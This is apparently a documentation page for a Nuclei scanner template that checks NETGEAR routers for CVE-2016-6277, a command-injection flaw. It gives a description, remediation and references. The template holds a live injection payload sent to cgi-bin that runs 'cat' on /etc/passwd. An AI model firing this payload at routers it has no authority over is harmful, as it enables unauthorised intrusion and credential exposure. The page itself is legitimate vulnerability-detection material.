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NETGEAR Routers - Remote Code Execution

ID: CVE-2016-6277

Severity: high

Author: pikpikcu

Tags: cve2016,cve,netgear,rce,iot,kev

Description

Section titled “Description”

NETGEAR routers R6250 before 1.0.4.6.Beta, R6400 before 1.0.1.18.Beta, R6700 before 1.0.1.14.Beta, R6900, R7000 before 1.0.7.6.Beta, R7100LG before 1.0.0.28.Beta, R7300DST before 1.0.0.46.Beta, R7900 before 1.0.1.8.Beta, R8000 before 1.0.3.26.Beta, D6220, D6400, D7000, and possibly others allow remote attackers to execute arbitrary commands via shell metacharacters in the path info to cgi-bin/.

YAML Source

Section titled “YAML Source”
id: CVE-2016-6277


info:
  name: NETGEAR Routers - Remote Code Execution
  author: pikpikcu
  severity: high
  description: NETGEAR routers R6250 before 1.0.4.6.Beta, R6400 before 1.0.1.18.Beta, R6700 before 1.0.1.14.Beta, R6900, R7000 before 1.0.7.6.Beta, R7100LG before 1.0.0.28.Beta, R7300DST before 1.0.0.46.Beta, R7900 before 1.0.1.8.Beta, R8000 before 1.0.3.26.Beta, D6220, D6400, D7000, and possibly others allow remote attackers to execute arbitrary commands via shell metacharacters in the path info to cgi-bin/.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected router, potentially leading to unauthorized access, data theft, or network compromise.
  remediation: |
    Apply the latest firmware update provided by NETGEAR to mitigate this vulnerability.
  reference:
    - https://www.sj-vs.net/2016/12/10/temporary-fix-for-cert-vu582384-cwe-77-on-netgear-r7000-and-r6400-routers/
    - https://nvd.nist.gov/vuln/detail/CVE-2016-6277
    - http://www.sj-vs.net/a-temporary-fix-for-cert-vu582384-cwe-77-on-netgear-r7000-and-r6400-routers/
    - https://www.kb.cert.org/vuls/id/582384
    - http://kb.netgear.com/000036386/CVE-2016-582384
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2016-6277
    cwe-id: CWE-352
    epss-score: 0.97464
    epss-percentile: 0.9996
    cpe: cpe:2.3:o:netgear:d6220_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: netgear
    product: d6220_firmware
  tags: cve2016,cve,netgear,rce,iot,kev


http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/;cat$IFS/etc/passwd"


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2016/CVE-2016-6277.yaml"

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